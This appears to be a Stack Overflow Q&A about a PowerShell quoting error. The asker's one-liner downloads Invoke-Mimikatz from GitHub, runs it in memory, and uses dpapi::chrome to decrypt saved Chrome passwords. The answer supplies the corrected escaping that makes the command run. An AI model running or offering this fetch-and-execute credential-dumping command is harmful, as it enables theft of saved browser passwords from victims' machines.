Mimikatz - problem with handling spaces in the file path Dpapi::chrome

Question

Why in mimikatz/kiwi cannot process first space when opening chrome database "Login Data" ?

Example:

IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -Command "dpapi::chrome /in:\"%localappdata%\Google\Chrome\User Data\Default\Login Data\""

Error:

Invoke-Mimikatz : A positional parameter cannot be found that accepts argument 'Data\Default\Login'.
At line:1 char:146
+ ... katz.ps1'); Invoke-Mimikatz -Command "dpapi::chrome /in:\"%localappda ...
+                 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : InvalidArgument: (:) [Invoke-Mimikatz], ParameterBindingException
    + FullyQualifiedErrorId : PositionalParameterNotFound,Invoke-Mimikatz
    enter code here

I will be very happy if someone helps, I have already tried all.

In short: PowerShell uses `\`` (backtick), not `\ ` as the escape character (the only exception is PowerShell's _CLI_); see the [linked duplicate](https://stackoverflow.com/a/68164832/45375) for details. — mklement0, Oct 10 '21 at 18:51

score 1 · Answer 1 · answered Oct 10 '21 at 13:52

You need to escape the " inside the string argument by doubling them ("") or prefixing them with a single ` (PowerShell doesn't care about \):

"dpapi::chrome /in:""%localappdata%\Google\Chrome\User Data\Default\Login Data"""
# or
"dpapi::chrome /in:`"%localappdata%\Google\Chrome\User Data\Default\Login Data`""

Mimikatz - problem with handling spaces in the file path Dpapi::chrome

1 Answers1